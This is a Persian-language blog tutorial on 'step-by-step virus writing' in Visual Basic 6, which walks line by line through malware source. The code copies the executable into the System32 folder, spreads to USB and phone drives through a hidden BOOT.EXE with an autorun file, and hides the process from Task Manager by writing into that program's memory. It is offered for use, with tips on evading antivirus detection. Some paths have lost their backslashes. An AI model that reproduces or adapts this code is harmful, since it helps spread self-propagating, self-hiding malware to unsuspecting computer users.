جهت مطالعه و دسترسی به سورس ها به ادامه مطلب مراجعه نمائید
آموزش پله به پله ویروس نویسی
آیا می دانید بهترین کامپایلر ویروس چیست(منظور زبان های برنامه نویسی است)؟
بسیاری بر این عقیده اند که ویژوال بیسیک ۶ بهترین کامپایلر است تا زمانی که ویندوز وجود دارد و ساختارش چنین باشد.اما بسیاری هم دلفی را به عنوان زبان ویروس خود انتخاب کرده اند،اما این مهم نیست، مهم خلاقیت ویروس نویس و مهارت وی است.
گروه ما هم عقیده اول را قبول دارد زیرا در تمامی ویندوز های XP و ۲۰۰۰ و فایل مورد نیاز برنامه های وی.بی وجود دارد و همچنین برنامه نویسی با ویژوال بیسیک ۶ بسیار ساده و راحت می باشد به طوری که یک فرد می تواند در مدت زمان کمتر از ۶ ماه ویروس نویسی خوب شود.
از تمامی این حرف ها می گذریم…
پله اول مرحله اول
در این مرحله باید با ویژوال بیسیک و Syntax آن و چندین نکته ساده را بیاموزید(به دلیل این که در این دوره آموزشی قصد ما تنها آموزش های ویروس نویسی است این مرحله را به عهده خودتان می گذاریم،می توانید از فروم های فارسی در این زمینه و کتاب های آموزشی استفاده کنید)
پله اول مرحله دوم
در مرحله باید تمامی افکار خود را به سمت ویروس نویسی برده و خود را برتر ببینید ولی به هیچ عنوان زیاده روی(لاف) نکنید.
با یک مثال بسیار ساده شروع می کنیم:
Set fso = CreateObject(“Scripting.FileSystemObject”) sys$ = fso.GetSpecialFolder(1) fso.CopyFile App.Path & “” & App.EXEName & “.exe”, sys & “devmgr.exe”,True |
توضیحات دقیق:
اگر دقت کنید،
در سطر اول کد نویسی از دستور Set استفاده کردیم،این دستور یک شیء را در یک متغیر ذخیره میکند.پس از آن نام متغیر و سپس از دستور CreateObject استفاده کردیم،این دستور با یکی از کلاس های رجیستر شده در سیستم(ویندوز) را صدا زده و استفاده می کند.برای مثال اگر Internet Explorer را در سیستم خود داشته باشید(که اگر از سیستم عامل ویندوز استفاده می کنید حتما دارید) یک کلاس با نام’InternetExplorer.Application’ در سیستم رجیستر می شود که می توان با استفاده از آن یک مرورگر را باز کرده و کنترل تقریبا کامل را روی آن داشته باشید.(برای دیدن لیستی از بعضی از کلاس های رجیستر شده در ویندوز می توانید در برنامه جانبی Registry Editor پوشه یا کلید HKEY_CLASSES_ROOT را باز کرده و آن ها را مشاهده کنید.توجه داشته باشید تمامی پوشه های این کلید کلاس نیستند).در اینجا ما با استفاده از دستور CreateObject یک کلاس را که مدیریت فایل ها و پوشه های ویندوز را می تواند انجام دهد،صدا زدیم،به نام”
هنگامی که شما یک شی را با استفاده از دستور Set صدا می زنید ،باید همانند اشیای دیگر وی.بی(مثل TextBox) از آن استفاده کنید.یعنی برای استفاده از یک تابع آن باید نام متغیر را نوشته سپس یک نقطه زده و نام تابع را بنویسید.مثل:
fso.FunctionName |
فراموش نکنید که CreateObject یک تابع از پیش تعریف شده در وی.بی می باشد.
*نکته*اگر یک شی را با استفاده از تابع یا دستور CreateObject بسازید،مانند اشیای اصلی وی.بی هنگامی که یک نقطه پس از نام آنها بزنید لیست خصوصیات و توابع را نمایش نمی دهد و شما باید از قبل آن ها را بدانید.(البته اگر فایلی که منبع کلاس است را در قسمت References از منوی Project وارد پروژه کنید می توانید آن را با اسفاده از Dim صدا بزنید که در این صورت لیست مذکور با می شود)
و در سطر دوم یکی از توابع کلاس FileSystemObject را صدا زدیم(GetSpecialFolder)این تابع آدرس پوشه های اصلی ویندوز را برای ما برمیگرداند مثل آدرس پوشه ‘System32’ یا ‘Windows’ یا ‘Temp’ .پس تابع پرکاربردی است،ولی مشکل اساسی این است که بسیاری از ضد ویروس ها به استفاده از این تابع حساسیت دارند.این تابع تنها یک آرگومان نیاز دارد که یک شماره است این شماره از ۰ تا ۲ می باشد در زیر رشته برگردانده شده تابع را نسبت به اعداد وارد شده می بینید:
اگر ۰ بدهیم آدرس پوشه ویندوز را برمیگرداند.
اگر ۱ بدهیم آدرس پوشه سیستم را برمی گرداند.
اگر ۲ بدهیم آدرس پوشه Temp یا فایل های موقت را برمیگرداند.
*نکته* اگر دقت کنید پس از نام متغیر این خط(Sys) یک علامت $ آورده ایم.این علامت به این معناست که متغیر را از نوع String در نظر بگیرد.از این علامت ها زمانی استفاده که نخواهیم متغیر را با استفاده از دستور Dim ایجاد کنیم.برخی علامت در زیر آمده است:
$ برای String
# برای Double
% برای Integer
! برای Single
& برای Long
@ برای Currenry
در سطر سوم یکی از روال های کلاس مذکور را صدا زدیم که این روال یک فایل را در رایانه کپی می کند.این روال حداکثر سه آرگومان نیاز دارد و حداقل دو آرگومان نیاز دارد. منظور چیست؟ منظور این است که دو آرگومان اصلی دارد و یک آرگومان اختیاری دارد.شکل اصلی این روال به صورت زیر است:
App.Path & “” & App.EXEName & “.exe” |
App یکی از شی های وی.بی است که در آن می توانید خصوصیاتی از برنامه اجرایی خود ببینید.برای مثال چک کنید که آیا برنامه قبلا اجرا شده یا نه:
P = App.PrevInstance |
که ااگر برنامه شما قبلا اجرا شده باشد متغیر P برابر می شود با True و اگر برنامه قبلا اجرا نشده باشد مقدار False را برمی گرداند.
در اینجا ما از دو خصوصیت Path و EXEName استفاده کرده ایم ،
در خصوصیت Path مسیر فایلی ذخیره می شود که برنامه از آن اجرا می شود،مثلا اگر برنامه شما اینجا باشد:
C:XSX_LearnXSX_Team.Exe |
در خصوصیت Path مقدار C:XSX_Learn ذخیره می شود.
و در خصوصیت EXEName نام فایل اجرایی شما می باشد که در همان مثال بالا برابر XSX_Team می باشد.
*نکته*اگر دقت کنیددر آخر مقدار خصوصیت Path علامت نشان داده نمی شود و همچنین در آخر EXEName پسوند ذخیره نمی شد.پس اگر این کد را در همان مثال بالا نوشته باشیم و برنامه را اجرا کنیم:
X_Path = App.Path & App.EXEName |
این مقدار نمایش داده می شود:
C:XSX_LearnXSX_Team |
پس برای تصحیح کد بالا باید آن را به این گونه تغییر بدهیم:
X_Path = App.Path & “” & App.EXEName & “.Exe” |
MsgBox X_Pathبه این منظور که گفته ایم بعد از آدرس پوشه علامت را اضافه کند و همچنبن بعد از نام فایل اجرایی پسوند آن را اضافه کند(Exe).که مقدار نمایش داده شده به این صورت می شود:
C:XSX_LearnXSX_Team.Exe |
بقیه آرگومان ها هم بسیار واضح است ولی تنها نکته این اینست که متغیر Sys مقداری برابر مثلا ‘C:WindowsSystem32’ دارد و همین طور میبینید در آخر آن علامت وجود ندارد.
*نکات توضیحی اضافه*
۱ – فرق تابع(Function) با روال این است که تابع مقداری را بر می گرداند ولی روال یا Sub مقدار برگشتی ندارد.
۲ – رشته ها در وی.بی با استفاده از علامت & به یکدیگر می چسبند.
کپی ویروس در حافظه های جانبی مثل رم موبایل و فلش
دوستان عزیز با استفاده از این کد شاید قدیمی ولی کاربردی می توانید ویروس خود را هنگامی که کاربر رم(حافظه جانبی مثل رم موبایل یا فلش ها و MP3 Player) را به رایانه متصل کرد،کپی کنید.دستورات این ویروس به این صورت می باشند که هر چند ثانیه یکبار تمامی درایو ها از جمله درایو های خود هارد و دیگر درایو ها که گفته شد را چک می کند و در صورت حاضر بودن آنها ویروس را در آن کپی می کند.برای اسفاده از این کد نیاز به ایجاد یک Timer به نام tmrRamDisk دارید.پس از ایجاد تایمر فقط برنامه را کامپایل کرده و اجرا کنید.
Private Sub tmrRamDisk_Timer() ‘Create an Object Link to FileSystem Commands ‘Put Drives Names in the Array if Array was Empty ‘Check Every Drive to Copy the Virus to It: For Each Drv In Drvs If Fso.fileExists(Drv & “AUTORUN.INF”) = True And Fso.fileExists(Drv & “BOOT.EXE”) = True Then GoTo nx If Fso.getDrive(Drv).isReady = True Then ‘If Drive was Ready then Copy ‘Virus in it. aut = “[AUTORUN]” & vbCrLf & “shellopencommand=boot.exe” & vbCrLf & “shellexplorecommand=boot.exe” & vbCrLf & “shellfindcommand=boot.exe” ‘Remove Last File of AUTORUN.INF ‘Remove Last File of BOOT.EXE (Main Virus) Fso.createTextFile(Drv & “AUTORUN.INF”).write aut MyPath = App.Path & “” & App.EXEName & “.exe” Fso.CopyFile MyPath, Drv & “BOOT.EXE”, True SetAttr Drv & “BOOT.EXE”, vbHidden + vbSystem ‘Set Hidden and System Attr for Maximum Hiding SetAttr Drv & “AUTORUN.INF”, vbHidden + vbSystem ‘Set Hidden and System Attr for Maximum Hiding End If nx: DoEvents Next End Sub |
مخفی کردن عالی ویروس از مدیریت برنامه ها(Task Manager)
با استفاده از این کدها می توانید نام برنامه خود را در قسمت Processes از برنامه Task Manager مخفی نگه دارید.بسیار زیاد از این کدها اسفاده می شود.
شما باید کد ۱ را کپی و در یک ماژول(Module) ذخیره کرده و در برنامه اصلی یک شی Timer ساخته و در آن روال کد زیر را صدا بزنید مانند کد ۱
Public Declare Function GetCurrentProcessId Lib “kernel32.dll” () As Long Public Declare Function KillTimer Lib “user32.dll” (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long Public Declare Function FindWindow Lib “user32” Alias “FindWindowA” (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public Declare Function FindWindowEx Lib “user32.dll” Alias “FindWindowExA” (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Public Declare Function OpenProcess Lib “kernel32.dll” (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Public Sub Hide_Process(Name As String) On Error Resume Next Dim pName As Long Dim pType As Long Dim l As Long Dim Tid As Long Dim hTid As Long Dim pid As Long Dim i As Long Dim hProcess As Long Dim f As bkh Dim s As String Dim bkh() As Byte h = FindWindow(vbNullString, “Windows Task Manager”) If h = 0 Then Exit Sub KillTimer h, 0 h = FindWindowEx(h, 0, “#32770”, vbNullString) h = FindWindowEx(h, 0, “SysListView32”, vbNullString) f.flag = 8 Or &H20 Call GetWindowThreadProcessId(h, pid) hProcess = OpenProcess(1082, 0, pid) bkh = StrConv(Name, vbFromUnicode) pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4) WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l f.psz = pName pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4) WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l i = SendMessage(h, &H1000 + 13, 0, pType) If i <> -1 Then SendMessage h, &H1000 + 8, i, 0 VirtualFreeEx hProcess, pType, Len(f), &H8000 VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000 CloseHandle pid End Sub |
.
کد ۲: (مربوط به فرم یا برنامه اصلی که نیاز به یک تایمر دارد برای صدا زدن مدام روال کد ۱)
Private Sub tmrHiddenEXE_Timer() On Error Resume Next Hide_Process App.EXEName & “.exe” DoEvents End Sub |